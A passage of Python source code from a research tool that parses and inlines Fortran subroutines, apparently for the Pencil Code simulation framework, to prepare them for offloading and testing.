possibilities[0][3]+1\n #till next conditional or end\n print(choices)\n keep_ending_index = choices[res_index+1][3]-1\n for index in range(starting_index, ending_index+1):\n if not (index >= keep_starting_index and index<=keep_ending_index):\n remove_indexes.append(index)\n return [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n\n\n #choose correct single line ifs\n # remove_indexes = []\n # for line_index, line in enumerate(new_lines):\n # if \"if\" in line and \"else\" not in line and \"then\" not in line and \".false.\" in line and \".true.\" not in line and \".and.\" not in line and \".or.\" not in line:\n # remove_indexes.append(line_index)\n # elif \"if\" in line and \"else\" not in line and \"then\" not in line and \".true.\" in line and \".else.\" not in line and \".and.\" not in line and \".or.\" not in line:\n # new_lines[line_index] = new_lines[line_index].replace(\"if (.true.)\",\"\").replace(\"if(.true.)\",\"\")\n # lines = [x[1] for x in enumerate(new_lines) if x[0] not in remove_indexes]\n \n def split_line(self, line):\n if line[0] == \"!\":\n return [line]\n lines = []\n split_indexes = []\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n for iter_index in range(len(line)):\n if line[iter_index] == \"'\":\n num_of_single_quotes += 1\n if line[iter_index] == '\"':\n num_of_double_quotes += 1\n if line[iter_index] == \"(\":\n num_of_left_brackets += 1\n if line[iter_index] == \")\":\n num_of_right_brackets += 1\n if line[iter_index] == \";\" and num_of_single_quotes%2 == 0 and num_of_double_quotes%2 == 0 and num_of_left_brackets == num_of_right_brackets:\n split_indexes.append(iter_index)\n start_index = 0\n for split_index in split_indexes:\n lines.append(line[start_index:split_index])\n start_index=split_index+1\n lines.append(line[start_index:])\n return filter(lambda x: x != \"\",lines)\n\n def get_function_declarations(self, lines, function_declarations, filename):\n ## Somewhat buggy, also returns variables in case of a header file but this is not a problem for the use case\n in_struct = False\n for count,line in enumerate(lines):\n parts = line.split(\"::\")\n is_variable = True\n start = parts[0].strip()\n type = start.split(\",\")[0].strip()\n if type == \"public\":\n is_variable = False\n if line.split(\" \")[0] == \"type\" and len(line.split(\"::\")) == 1:\n in_struct = True\n if line.split(\" \")[0] == \"endtype\":\n in_struct = False\n if not is_variable and not in_struct and len(parts)>1:\n allocatable = \"allocatable\" in [x.strip() for x in start.split(\",\")]\n saved_variable = \"save\" in [x.strip() for x in start.split(\",\")]\n public = \"public\" in [x.strip() for x in start.split(\",\")]\n dimension = re.search(\"dimension\\s*\\((.+?)\\)\", start)\n if dimension is None:\n dimension = []\n else:\n dimension = [x.strip() for x in dimension.group(1).split(\",\")]\n line_variables = parts[1].strip()\n variable_names = self.get_variable_names_from_line(line_variables)\n for i, variable_name in enumerate(variable_names):\n function_declarations.append(variable_name)\n return function_declarations\n def expand_function_call_main(self, subroutine_lines, subroutine_name, filename, calls_to_expand,global_init_lines,sub_modules,subs_not_to_inline,elim_lines,local_variables):\n call_to_expand = calls_to_expand[0]\n print(\"EXPAND FUNC CALL\",call_to_expand[\"function_name\"],\"IN\",subroutine_name)\n # local_variables = {parameter:v for parameter,v in self.get_variables(subroutine_lines, {},filename).items() }\n replaced_function_call_lines,is_function,res_type = self.expand_function_call(subroutine_lines, subroutine_name, filename, call_to_expand,local_variables,global_init_lines,subs_not_to_inline,elim_lines,local_variables)\n for line in replaced_function_call_lines:\n if \",,\" in line:\n print(\"wrong here\",line)\n exit()\n subroutine_lines = [line for line in subroutine_lines if not is_init_line(line)]\n subroutine_lines = [line for line in subroutine_lines if not is_use_line(line)]\n init_var_names = []\n global_init_lines = unique_list(global_init_lines)\n if is_function:\n subroutine_lines = subroutine_lines[:1] + [\"use {module}\" for module in sub_modules] + global_init_lines + [f\"{res_type} :: {call_to_expand['function_name']}_return_value_{self.inline_num}\"] + subroutine_lines[1:]\n else:\n subroutine_lines = subroutine_lines[:1] + [f\"use {module}\" for module in sub_modules] + global_init_lines + subroutine_lines[1:]\n has_replaced_call = False\n line_num = 0\n print(\"len(sub lines) for \",call_to_expand[\"function_name\"],len(subroutine_lines))\n for line_num in range(len(subroutine_lines)):\n if not has_replaced_call:\n line = subroutine_lines[line_num]\n # func_calls = [call for call in self.get_function_calls_in_line(subroutine_lines[line_num][0],local_variables) if call[\"function_name\"] == call_to_expand[\"function_name\"]]\n # if len(func_calls)>0:\n if line == call_to_expand[\"line\"] or f\"{call_to_expand['function_name']}(\" in line or f\"call {call_to_expand['function_name']}\" in line and \"print*\" not in line:\n has_replaced_call = True\n func_call = [call for call in self.get_function_calls_in_line(subroutine_lines[line_num],local_variables) if call[\"function_name\"] == call_to_expand[\"function_name\"]][0]\n # func_call = call_to_expand\n if is_function:\n\n subroutine_lines[line_num] = self.replace_func_call(subroutine_lines[line_num], func_call, f\"{call_to_expand['function_name']}_return_value_{self.inline_num}\") \n res_lines = subroutine_lines[:line_num] + replaced_function_call_lines +subroutine_lines[line_num:]\n else:\n res_lines = subroutine_lines[:line_num] + replaced_function_call_lines + subroutine_lines[line_num+1:]\n subroutine_lines = res_lines\n if not has_replaced_call:\n print(\"DID not replace it\")\n print(call_to_expand)\n print(\"lines:\")\n for x in subroutine_lines:\n print(x)\n exit()\n return subroutine_lines\n def populate_pencil_case(self):\n self.struct_table[\"pencil_case\"] = {}\n for file in self.used_files:\n for count,line in enumerate(self.get_lines(file,include_comments=True)):\n if line[0] == \"!\" and \"pencils provided\" in line:\n line = line.replace(\"!\",\"\").replace(\"pencils provided\",\"\")\n fields = []\n in_struct = False\n field = \"\"\n for char in line:\n if char == \" \" or char == \",\" or char == \";\":\n if not in_struct:\n fields.append(field)\n field = \"\"\n else:\n field += char\n elif char == \"(\":\n in_struct = True\n field += char\n elif char == \")\":\n in_struct = False\n fields.append(field)\n field = \"\"\n else:\n field += char\n fields.append(field)\n fields = [field.strip().lower() for field in fields if field != \"\"]\n for field in fields:\n field_name = field.split(\"(\")[0].strip()\n field_dims = [global_subdomain_range_x]\n if \"(\" in field:\n field_dims += (field.split(\"(\",1)[1].split(\")\")[0].split(\",\"))\n if field_name in self.struct_table[\"pencil_case\"]:\n if not len(self.struct_table[\"pencil_case\"][field_name][\"dims\"]) == len(field_dims):\n print(\"disagreeing pencils provided\")\n print(\"file\", file)\n print(field,self.struct_table[\"pencil_case\"][field_name])\n pexit(line)\n else:\n self.struct_table[\"pencil_case\"][field_name] = {\"type\": \"real\", \"dims\": field_dims, \"origin\": [file]}\n for field in [x for x in self.struct_table[\"pencil_case\"]]:\n if \".\" in field:\n del self.struct_table[\"pencil_case\"][field]\n\n def expand_function_call(self,lines,subroutine_name, filename, call_to_expand,variables_in_scope,global_init_lines,subs_not_to_inline,elim_lines,local_variables):\n\n function_to_expand = call_to_expand[\"function_name\"]\n print(f\"Expanding {function_to_expand} in {subroutine_name} in file {filename} inline_num {self.inline_num}\")\n print(\"call:\", call_to_expand)\n mpi_calls = [\"mpi_send\",\"mpi_barrier\",\"mpi_finalize\",\"mpi_wait\"]\n if function_to_expand in mpi_calls:\n print(\"MPI call not safe :(\")\n exit()\n file_paths = self.find_subroutine_files(function_to_expand)\n #if file_paths is [] then the function is only present in the current file and not public\n if file_paths == []:\n file_paths = [filename]\n modules = self.get_used_modules(lines)\n # self.parse_file_for_static_variables(filename)\n # local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},filename).items() }\n # function_calls = self.get_function_calls(lines, local_variables)\n for line in lines:\n ##Old way to do it\n # function_calls = self.get_function_calls_in_line(line[0],local_variables)\n # for function_call in function_calls:\n\n if line == call_to_expand[\"line\"] or f\"{call_to_expand['function_name']}(\" in line:\n if not(line == call_to_expand[\"line\"] or f\"{call_to_expand['function_name']}(\" in line):\n print(\"WRONG!\")\n exit()\n print(call_to_expand)\n function_call = [call for call in self.get_function_calls_in_line(line,local_variables) if call[\"function_name\"] == call_to_expand[\"function_name\"]][0]\n parameter_list = self.get_static_passed_parameters(function_call[\"parameters\"],local_variables,self.static_variables)\n function_to_expand_filename = self.choose_right_module(file_paths,function_call,filename)\n #return on the first call\n return self.get_replaced_body(function_to_expand_filename,parameter_list, function_call,variables_in_scope,global_init_lines,subs_not_to_inline, elim_lines)\n return ([],False,None)\n def transform_case(self,lines):\n found_case = False \n remove_indexes = []\n case_indexes = []\n case_param = \"\"\n case_params = []\n end_index = 0\n in_case = False\n for i, line in enumerate(lines):\n #Consider only lines having case\n #Done for speed optimization\n if \"case\" in line:\n func_calls = self.get_function_calls_in_line(line,{})\n if in_case and len(func_calls) == 1 and func_calls[0][\"function_name\"] == \"case\":\n case_indexes.append(i)\n case_params.append(func_calls[0][\"parameters\"])\n if in_case and \"default\" in line and \"case\" in line:\n case_indexes.append(i)\n if \"select\" in line:\n in_case = True\n found_case = True\n remove_indexes = [i]\n case_indexes = []\n case_param = func_calls[0][\"parameters\"][0]\n case_params = []\n if \"endselect\" in line or \"end select\" in line:\n end_index = i\n in_case = False\n break\n if not found_case:\n return lines\n res_lines = []\n for i,x in enumerate(case_params):\n if i == 0:\n inside = \".or.\".join([f\"{case_param} == {y}\" for y in x])\n res = f\"if({inside}) then\" \n else:\n inside = \".or.\".join([f\"{case_param} == {y}\" for y in x])\n res = f\"else if({inside}) then\" \n res_lines.append(res)\n #default case is handled separately\n res_lines.append(\"else\")\n for j,i in enumerate(case_indexes):\n lines[i] = res_lines[j]\n lines[end_index] = \"endif\"\n lines = [x[1] for x in enumerate(lines) if x[0] not in remove_indexes]\n return self.transform_case(lines)\n def normalize_if_calls(self,lines,local_variables):\n res_lines = []\n for line_index, line in enumerate(lines):\n #Consider only possible lines\n #Done for speed optim\n if \"if\" in line and \"(\" in line:\n if_calls = [call for call in self.get_function_calls_in_line(line,local_variables) if call[\"function_name\"] == \"if\"]\n if len(if_calls) == 1 and \" then\" not in line and \")then\" not in line:\n if_line = self.replace_func_call(line,if_calls[0],line[if_calls[0][\"range\"][0]:if_calls[0][\"range\"][1]] + \" then \")\n if_line, middle_line = [part.strip() for part in if_line.split(\" then \")]\n middle_line = self.replace_func_call(line,if_calls[0],\"\")\n lines[line_index] = line\n res_lines.append(if_line + \" then\")\n res_lines.append(middle_line)\n res_lines.append(\"endif\")\n else:\n res_lines.append(line)\n else:\n res_lines.append(line)\n return res_lines\n def normalize_where_calls(self,lines,local_variables):\n res_lines = []\n for line_index, line in enumerate(lines):\n line = line.strip()\n if \"where\" in line and \"(\" in line:\n where_calls= [call for call in self.get_function_calls_in_line(line,local_variables) if call[\"function_name\"] == \"where\"]\n if len(where_calls) == 1 and line[-1] != \")\":\n where_line = line[where_calls[0][\"range\"][0]:where_calls[0][\"range\"][1]]\n middle_line = line[where_calls[0][\"range\"][1]:] \n lines[line_index] = where_line\n res_lines.append(where_line)\n res_lines.append(middle_line)\n res_lines.append(\"endwhere\")\n else:\n res_lines.append(line)\n else:\n res_lines.append(line)\n return res_lines\n\n def inline_all_function_calls(self,filename,subroutine_name,new_lines,subs_not_to_inline=None,elim_lines = True):\n self.known_values = {}\n if subs_not_to_inline == None:\n subs_not_to_inline = self.ignored_subroutines\n writes = self.get_writes(new_lines,False)\n local_variables = {parameter:v for parameter,v in self.get_variables(new_lines, {},filename,True).items() }\n new_lines = self.rename_lines_to_internal_names(new_lines,local_variables,filename)\n local_variables = {parameter:v for parameter,v in self.get_variables(new_lines, {},filename,True).items() }\n \n init_lines = [line for line in new_lines if is_init_line(line)]\n global_init_lines = init_lines\n global_init_lines = unique_list(global_init_lines)\n #normalize .eq. => == and .ne. => /=\n #.lt. => < and .gt. => >\n new_lines = [x.replace(\".eq.\",\"==\").replace(\".ne.\",\"/=\").replace(\".lt.\",\"<\").replace(\".gt.\",\">\") for x in new_lines]\n if elim_lines:\n new_lines = self.eliminate_while(new_lines)\n for line in new_lines:\n print(line)\n local_variables = {parameter:v for parameter,v in self.get_variables(new_lines, {},filename,True).items() }\n for var in local_variables:\n if local_variables[var][\"saved_variable\"] and not local_variables[var][\"parameter\"]:\n if subroutine_name not in [\"set_from_slice_x\", \"set_from_slice_y\", \"set_from_slice_z\",\"bc_aa_pot_field_extrapol\",\"div\",\"get_reaction_rate\"] and self.get_own_module(filename) not in [\"special\",\"boundcond\"]:\n print(\"saved variable\",var)\n print(local_variables[var])\n print(\"in:\",subroutine_name,filename)\n print(\"abort\")\n exit()\n func_calls_to_replace = [call for call in self.get_function_calls(new_lines,local_variables) if call[\"function_name\"] != subroutine_name and call[\"function_name\"] not in subs_not_to_inline]\n sub_modules = self.get_subroutine_modules(filename,subroutine_name)\n while len(func_calls_to_replace) != 0:\n new_lines = self.expand_function_call_main(new_lines, subroutine_name, filename,func_calls_to_replace,global_init_lines,sub_modules,subs_not_to_inline,elim_lines,local_variables)\n # local_variables = {parameter:v for parameter,v in self.get_variables(new_lines, {},filename).items() }\n func_calls_to_replace.pop(0)\n self.inline_num += 1\n if \"inlined_lines\" not in self.func_info[subroutine_name]:\n self.func_info[subroutine_name][\"inlined_lines\"] = {}\n\n print(\"subname\",subroutine_name)\n file = open(\"save.txt\",\"w\")\n for line in new_lines:\n file.write(f\"{line}\\n\")\n file.close()\n if elim_lines:\n new_lines = self.eliminate_while(new_lines)\n\n\n self.func_info[subroutine_name][\"inlined_lines\"][filename] = new_lines\n file = open(f\"res.txt\",\"w\")\n for line in new_lines:\n file.write(f\"{line}\\n\")\n file.close()\n where_lines = []\n endwhere_lines = []\n for line in new_lines:\n if \"where\" in line and \"(\" in line:\n where_lines.append(line)\n if line == \"endwhere\":\n endwhere_lines.append(line)\n if len(where_lines) != len(endwhere_lines): \n print(\"WRONG\")\n print(filename,subroutine_name)\n print(where_lines)\n print(endwhere_lines)\n for line in new_lines:\n print(line)\n assert(False)\n def profile_parse_line(self, line):\n for i in range(1000000):\n self.parse_line(line)\n\ndef get_used_files(make_output,directory):\n files = []\n # if make_output is not None:\n # with open(make_output, mode=\"r\") as file:\n # lines = file.readlines()\n # for line in lines:\n # search = re.search(\"([^\\s]+\\.f90)\", line)\n # if search is not None:\n # files.append(f\"{directory}/{search.group(1)}\")\n # return files\n return glob.glob(f\"{directory}/**/*.f90\",recursive=True)\n\ndef main():\n # line = 'forall( j = iux__mod__cdata:iuz__mod__cdata) df(1+3:l2__mod__cparam,m__mod__cdata,n__mod__cdata,j_92) = df(1+3:l2__mod__cparam,m__mod__cdata,n__mod__cdata,j_92) - p%uu(:,j_92-iuu__mod__cdata+1) * tmp_92'\n # print(get_var_name_segments(line,{\"j\":None,\"j_92\":None}))\n # exit()\n argparser = argparse.ArgumentParser(description=\"Tool to find static writes in Fortran code\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n argparser.add_argument(\"-f\", \"--function\", help=\"function to be parsed\", required=True)\n argparser.add_argument(\"-F\", \"--file\", help=\"File where to parse the function\", required=True)\n argparser.add_argument(\"-m\", \"--use-make-output\",type=str, help=\"Pass a file path if want to only analyze the files used in build process. Takes in the print output of make. If not given traverses the file structure to find all .f90 files in /src\")\n argparser.add_argument(\"-c\", \"--communication\",default=True,action=argparse.BooleanOptionalAction, help=\"Whether to check for mpi calls, can be used to check if code to be multithreaded is safe\")\n argparser.add_argument(\"-o\", \"--offload\",default=False,action=argparse.BooleanOptionalAction, help=\"Whether to offload the current code. Cannot multithread and offload at the same time\")\n argparser.add_argument(\"-t\", \"--test\",default=False,action=argparse.BooleanOptionalAction, help=\"Whether to generate an inlined version of the given subroutine (mainly used for testing)\")\n argparser.add_argument(\"-d\", \"--directory\",required=True, help=\"From which directory to look for files\")\n argparser.add_argument(\"--sample-dir\", required=False, help=\"Sample\")\n # argparser.add_argument(\"-od\", \"--out-directory\",required=True, help=\"To which directory write include files\")\n argparser.add_argument(\"-M\", \"--Makefile\", help=\"Makefile.local from which used modules are parsed\")\n argparser.add_argument(\"-b\", \"--boundcond\",default=False,action=argparse.BooleanOptionalAction, help=\"Whether the subroutine to offload is a boundcond or not\")\n argparser.add_argument(\"-s\", \"--stencil\",default=False,action=argparse.BooleanOptionalAction, help=\"Whether the subroutine to offload is a stencil op e.g. RK3 or not\")\n argparser.add_argument(\"--to-c\",default=False,action=argparse.BooleanOptionalAction, help=\"Whether to translate offloadable function to single threaded C for testing\")\n argparser.add_argument(\"--diagnostics\",default=False,action=argparse.BooleanOptionalAction, help=\"Whether to include diagnostics calculations in rhs calc\")\n \n args = argparser.parse_args()\n config = vars(args)\n filename = config[\"file\"]\n subroutine_name = config[\"function\"]\n directory_name = config[\"directory\"]\n files = get_used_files(config[\"use_make_output\"],directory_name)\n files = [file for file in files if os.path.isfile(file)]\n parser = Parser(files,config)\n # print(parser.evaluate_indexes(\"1+3:l2__mod__cdata\"))\n # exit()\n new_lines = [\"if(idiag_umax/=0) then\",\"max_mn_name(p%u)\",\"endif\"]\n # idiag_vars = parser.get_idiag_vars(new_lines)\n # print(\"idiag vars\\n\")\n # print(idiag_vars)\n # exit()\n # print(parser.include_diagnostics)\n local_variables = {\n \"fvisc\":{\n \"type\": \"real\",\n \"dims\": [global_subdomain_range_x,\"3\"],\n \"saved_variable\": False\n }\n }\n # lines = parser.unroll_ranges(lines,local_variables)\n # print(\"\\nres\\n\")\n # print(lines)\n # exit()\n # lines = [\"do i_8_53_54_55_83=1+1,3\", \n # \"ac_transformed_pencil_sij(:,i_8_53_54_55_83,1)=.5*(ac_transformed_pencil_uij(:,i_8_53_54_55_83,1)+ac_transformed_pencil_uij(:,1,i_8_53_54_55_83))\",\n # \"ac_transformed_pencil_sij(:,1,i_8_53_54_55_83)=ac_transformed_pencil_sij(:,i_8_53_54_55_83,1)\",\n # \"enddo\"\n # ]\n # res = parser.unroll_constant_loops(lines,{})\n # print(\"res\")\n # for line in res:\n # print(line)\n # exit()\n # line = \"if(lpencil__mod__cparam(i_sij2)) then\"\n # print(parser.evaluate_leftover_pencils_as_true([line],{}))\n # exit()\n # if len(if_calls) == 1 and len(if_calls[0][\"parameters\"]) == 1 and \"lpencil__mod__cparam\" in if_calls[0][\"parameters\"][0]:\n\n\n # exit()\n # test_lines = [\"if ( lfirst.and.ldt.and.(lcdt_tauf.or.ldiagnos.and.idiag_dtF/=0) .or ldiagnos.and.idiag_taufmin/=0 ) then\", \"where (abs(p%uu)>1)\",\"uu1=1./p%uu\",\"elsewhere\",\"uu1=1.\",\"endwhere\",\"do j=1,3\",\"ftot=abs(df(l1:l2,m,n,iux+j-1)*uu1(:,j))\",\"if (ldt.and.lcdt_tauf) dt1_max=max(dt1_max,ftot/cdtf)\",\"if (ldiagnos.and.(idiag_dtF/=0.or.idiag_taufmin/=0)) Fmax=max(Fmax,ftot)\",\"enddo\",\"endif\"]\n # test_lines = parser.eliminate_while(test_lines)\n # print(test_lines)\n # exit()\n # line = \"if(p%uu(:,j_21_22_79_83_86)>=0) then\"\n # print(parser.get_function_calls([line],{}))\n # exit()\n #PENCIL SPECIFIC\n parser.populate_pencil_case()\n print(\"here.\" in parser.struct_table[\"pencil_case\"])\n for symbol in [\"nxgrid,nygrid,nzgrid\",\"nprocx\",\"nprocy\",\"nprocz\"]:\n parser.static_variables[symbol] = {\n \"type\": \"integer\",\n \"saved_variable\": False,\n \"parameter\": False,\n \"dims\": []\n }\n lines = parser.get_lines(f\"{parser.sample_dir}/src/cparam.inc\")\n #used to load sample specific values\n parser.get_variables(lines,parser.static_variables,f\"{parser.directory}/cparam.f90\",False,True)\n parser.update_used_modules()\n parser.update_static_vars()\n\n #for Pencil Code get variables added by scripts\n parser.get_variables(mk_param_lines,parser.static_variables,f\"{parser.directory}/cparam.f90\",False,True)\n\n\n\n\n variables = {}\n header = f\"{parser.directory}/mpicomm.h\"\n # cparam_pencils.inc might not be included\n parser.load_static_variables(f\"{parser.directory}/cparam.f90\")\n parser.struct_table[\"pencil_case\"][\"pnu\"] = {\n \"type\": \"real\",\n \"dims\": [global_subdomain_range_x]\n }\n # parser.static_variables[\"lpencil\"] = {\"type\": \"logical\", \"dims\": [\"npencils\"], \"threadprivate\": False,\"parameter\": False}\n # parser.static_variables[\"nghost\"] = {\"type\": \"integer\", \"dims\": [],\"threadprivate\": False,\"parameter\": True, \"value\": \"3\"}\n\n if config[\"test\"] or config[\"offload\"]:\n #get flag mappings from cparam.inc\n lines = parser.get_lines(f\"{parser.sample_dir}/src/cparam.inc\")\n writes = parser.get_writes(lines,False)\n for write in writes:\n if write[\"variable\"][0] == \"l\" and (write[\"value\"] == \".true.\" or write[\"value\"] == \".false.\"):\n parser.flag_mappings[write[\"variable\"]] = write[\"value\"]\n elif write[\"variable\"] == \"nghost\":\n parser.flag_mappings[write[\"variable\"]] = write[\"value\"]\n\n #currently only done for npscalar\n lines = parser.get_lines(f\"{parser.sample_dir}/src/cparam.inc\")\n res_lines = []\n for x in lines:\n res_lines.extend([part.strip() for part in x.split(\",\")])\n lines = res_lines\n writes = parser.get_writes(lines,False)\n for write in writes:\n if write[\"variable\"] not in parser.default_mappings and write[\"variable\"] in [\"npscalar\"]:\n parser.default_mappings[write[\"variable\"]] = write[\"value\"]\n\n\n #get flags from params.log\n parser.get_flags_from_lines(parser.get_lines(f\"{parser.sample_dir}/data/params.log\"))\n print(\"\\nMappings\\n\")\n for x in parser.flag_mappings:\n print(x)\n # parser.get_flags_from_lines(parser.get_lines(f\"{parser.sample_dir}/run.in\"))\n\n for map_param in parser.default_mappings:\n if map_param not in parser.flag_mappings:\n parser.flag_mappings[map_param] = parser.default_mappings[map_param]\n parser.ignored_subroutines.append(\"get_shared_variable\")\n parser.ignored_subroutines.append(\"write_xprof\")\n parser.ignored_subroutines.append(\"write_yprof\")\n parser.ignored_subroutines.append(\"write_zprof\")\n parser.ignored_subroutines.append(\"select_eos_variable\")\n parser.ignored_subroutines.append(\"find_by_name\")\n parser.ignored_subroutines.append(\"farray_index_append\")\n parser.ignored_subroutines.append(\"save_analysis_info\")\n parser.ignored_subroutines.append(\"information\")\n #for testing\n # parser.flag_mappings[\"topbot\"] = \"top\"\n # parser.flag_mappings[\"lone_sided\"] = \".false.\"\n # parser.flag_mappings[\"loptest(lone_sided)\"] = \".false.\"\n for x in [y for y in parser.flag_mappings]:\n parser.flag_mappings[x] = parser.flag_mappings[x].strip()\n #remove arrays and in place but each val\n if any([char in parser.flag_mappings[x] for char in \"*,\"]):\n if \"'\" in parser.flag_mappings[x] or '\"':\n arr = parse_input_param(parser.flag_mappings[x])\n for i in [x[0] for x in enumerate(arr)]:\n parser.flag_mappings[f\"{x}({i+1})\"] = arr[i]\n del parser.flag_mappings[x]\n for index in [\"1\",\"2\",\"3\"]:\n print(parser.flag_mappings[f\"grads0_imposed__mod__energy({index})\"])\n if eval(parser.flag_mappings[f\"beta_glnrho_global__mod__density({index})\"]) == 0:\n parser.flag_mappings[f\"beta_glnrho_scaled__mod__density({index})\"] = \"0.\"\n print(parser.flag_mappings[f\"beta_glnrho_scaled__mod__density({index})\"])\n for index in [\"1\",\"2\",\"3\"]:\n if parser.flag_mappings[f\"grid_func__mod__cdata({index})\"] == '\"linear\"':\n parser.flag_mappings[f\"lequidist__mod__cdata({index})\"] = \".true.\"\n parser.get_default_flags_from_file(f\"{parser.directory}/cdata.f90\",parser.default_mappings)\n for mod in [\"eos\",\"viscosity\",\"hydro\",\"gravity\",\"density\",\"energy\"]:\n parser.get_default_flags_from_file(f\"{parser.directory}/{parser.chosen_modules[get_mod_from_physics_name(mod)]}.f90\",parser.default_mappings)\n if parser.chosen_modules[\"forcing\"] == \"noforcing\":\n parser.flag_mappings[\"lforcing_cont__mod__cdata\"] = \".false.\"\n #TODO: have to check which indexes are registered with farray_registed_pde\n #For now we simply know what ioo is 0\n parser.flag_mappings[\"ioo__mod__cdata\"] = \"0\"\n parser.get_flags_from_initialization_func(\"set_coorsys_dimmask\",f\"{parser.directory}/grid.f90\")\n for mod in [\"eos\",\"viscosity\",\"hydro\",\"gravity\",\"density\",\"energy\"]:\n parser.get_flags_from_initialization_func(f\"register_{mod}\",f\"{parser.directory}/{parser.chosen_modules[get_mod_from_physics_name(mod)]}.f90\")\n for index in [\"iphiuu__mod__cdata\"]:\n if len([call for call in parser.farray_register_calls if call[\"parameters\"][1] == index]) == 0:\n parser.flag_mappings[index] = \"0\"\n for mod in [\"eos\",\"gravity\",\"density\",\"hydro\",\"energy\",\"viscosity\"]:\n parser.get_flags_from_initialization_func(f\"initialize_{mod}\",f\"{parser.directory}/{parser.chosen_modules[get_mod_from_physics_name(mod)]}.f90\")\n\n for mod in parser.shared_flags_accessed:\n for flag in parser.shared_flags_accessed[mod]:\n cleaned_flag = remove_mod(flag)\n possible_modules = []\n for mod_second in parser.shared_flags_given:\n if get_mod_name(cleaned_flag,mod_second) in parser.shared_flags_given[mod_second]:\n possible_modules.append(mod_second)\n assert(len(possible_modules) == 1)\n if get_mod_name(cleaned_flag,possible_modules[0]) in parser.flag_mappings:\n parser.flag_mappings[get_mod_name(cleaned_flag,mod)] = parser.flag_mappings[get_mod_name(cleaned_flag,possible_modules[0])]\n for i in [\"1\",\"2\",\"3\"]:\n if f\"{get_mod_name(cleaned_flag,possible_modules[0])}({i})\" in parser.flag_mappings:\n parser.flag_mappings[f\"{get_mod_name(cleaned_flag,mod)}({i})\"] = parser.flag_mappings[f\"{get_mod_name(cleaned_flag,possible_modules[0])}({i})\"]\n print(parser.shared_flags_accessed[\"density\"])\n print(parser.shared_flags_given[\"hydro\"])\n print(parser.flag_mappings[\"lconservative__mod__hydro\"])\n print(parser.flag_mappings[\"lconservative__mod__density\"])\n print(parser.flag_mappings[\"lheatc_kprof__mod__energy\"])\n # exit()\n for i in [\"1\",\"2\",\"3\"]:\n print(parser.flag_mappings[f\"beta_glnrho_scaled__mod__energy({i})\"])\n print(parser.flag_mappings[f\"lweno_transport__mod__cdata\"])\n if parser.chosen_modules[\"density\"] == \"density\":\n parser.flag_mappings[\"lupdate_mass_source__mod__density\"] = \"lmass_source__mod__density .and. t>=tstart_mass_source .and. (tstop_mass_source==-1.0 .or. t<=tstop_mass_source)\"\n assert(len(parser.select_eos_variable_calls) == 2)\n lnrho_val = 2**0\n rho_val = 2**1\n ss_val = 2**2\n lntt_val = 2**3\n tt_val = 2**4\n cs2_val = 2**5\n pp_val = 2**6\n eth_val = 2**7\n select_val = 0\n for i, call in enumerate(parser.select_eos_variable_calls):\n if call[\"parameters\"][0] == \"'ss'\":\n select_val += ss_val\n elif call[\"parameters\"][0] == \"'lnrho'\":\n select_val += lnrho_val\n else:\n pexit(f\"add eos var value: {call['parameters'][0]}\")\n parser.flag_mappings[f\"ieosvar{i+1}__mod__equationofstate\"] = call[\"parameters\"][1]\n if select_val == lnrho_val + ss_val:\n parser.flag_mappings[\"ieosvars__mod__equationofstate\"] = parser.static_variables[\"ilnrho_ss__mod__equationofstate\"][\"value\"]\n elif select_val == rho_val + ss_val:\n parser.flag_mappings[\"ieosvars__mod__equationofstate\"] = parser.static_variables[\"irho_ss__mod__equationofstate\"][\"value\"]\n elif select_val == lnrho_val + lntt_val:\n parser.flag_mappings[\"ieosvars__mod__equationofstate\"] = parser.static_variables[\"ilnrho_lntt__mod__equationofstate\"][\"value\"]\n else:\n pexit(f\"add eos select val mapping: {parser.select_eos_variable_calls}\")\n\n print(\"ieos1\",parser.flag_mappings[\"ieosvar1__mod__equationofstate\"])\n print(\"ieos2\",parser.flag_mappings[\"ieosvar2__mod__equationofstate\"])\n print(\"\\n flag mappings: \\n\")\n for flag in parser.flag_mappings:\n print(flag,parser.flag_mappings[flag])\n # print(\"lread\",parser.flag_mappings[\"lread_hcond__mod__energy\"])\n if parser.flag_mappings[\"lgravz__mod__cdata\"] == \".true.\":\n parser.static_variables[\"hcond_prof__mod__energy\"][\"dims\"] = [global_subdomain_range_z]\n parser.static_variables[\"dlnhcond_prof__mod__energy\"][\"dims\"] = [global_subdomain_range_z]\n print(\"lgravz\",parser.flag_mappings[\"lgravz__mod__cdata\"])\n # print(parser.flag_mappings[\"omega__mod__cdata\"])\n # exit()\n # print(parser.flag_mappings[\"lvisc_hyper3_cmu_const_strt_otf__mod__viscosity\"])\n #TODO: this should be possible with looking into the shared variables module but don't want to do it know\n if \"lffree__mod__density\" in parser.flag_mappings:\n parser.flag_mappings[\"lffree__mod__hydro\"] = parser.flag_mappings[\"lffree__mod__density\"]\n print(parser.flag_mappings[\"lffree__mod__density\"])\n print(parser.flag_mappings[\"lffree__mod__hydro\"])\n for flag in parser.default_mappings:\n if flag not in parser.flag_mappings:\n parser.flag_mappings[flag] = parser.default_mappings[flag]\n print(parser.flag_mappings[\"ldiff_hyper3_polar__mod__density\"])\n if parser.include_diagnostics:\n parser.flag_mappings[\"ldiagnos__mod__cdata\"] = \".true.\"\n print(parser.flag_mappings[\"ldiagnos__mod__cdata\"])\n # for x in parser.flag_mappings:\n # if \"(\" in parser.flag_mappings[x]:\n # print(\"hmm\",x,parser.flag_mappings[x])\n if config[\"test\"]:\n parser.inline_all_function_calls(filename,subroutine_name) \n new_lines = parser.func_info[subroutine_name][\"inlined_lines\"][filename]\n local_variables = {parameter:v for parameter,v in parser.get_variables(new_lines, {},filename,True).items() }\n writes = parser.get_writes(new_lines)\n #adding expand size in test\n new_lines = [parser.expand_size_in_line(line,local_variables,writes) for line in new_lines]\n new_lines= parser.eliminate_while(new_lines)\n new_lines = parser.unroll_constant_loops(new_lines,local_variables)\n global_loop_lines,iterators = parser.get_global_loop_lines(new_lines,local_variables)\n if len(global_loop_lines) > 0:\n new_lines= parser.remove_global_loops(new_lines,local_variables,global_loop_lines,iterators)\n # new_lines= parser.inline_1d_writes(new_lines,local_variables)\n print(\"\\n\\nDONE transform\\n\\n\")\n print(\"LEN GLOBAL LOOP LINE\",len(global_loop_lines))\n\n out_file = open(f\"{parser.directory}/inlined_bc.inc\",\"w\")\n for line in new_lines:\n res_line = line.replace(subroutine_name,f\"{subroutine_name}_inlined\")\n print(res_line)\n out_file.write(f\"{res_line}\\n\")\n 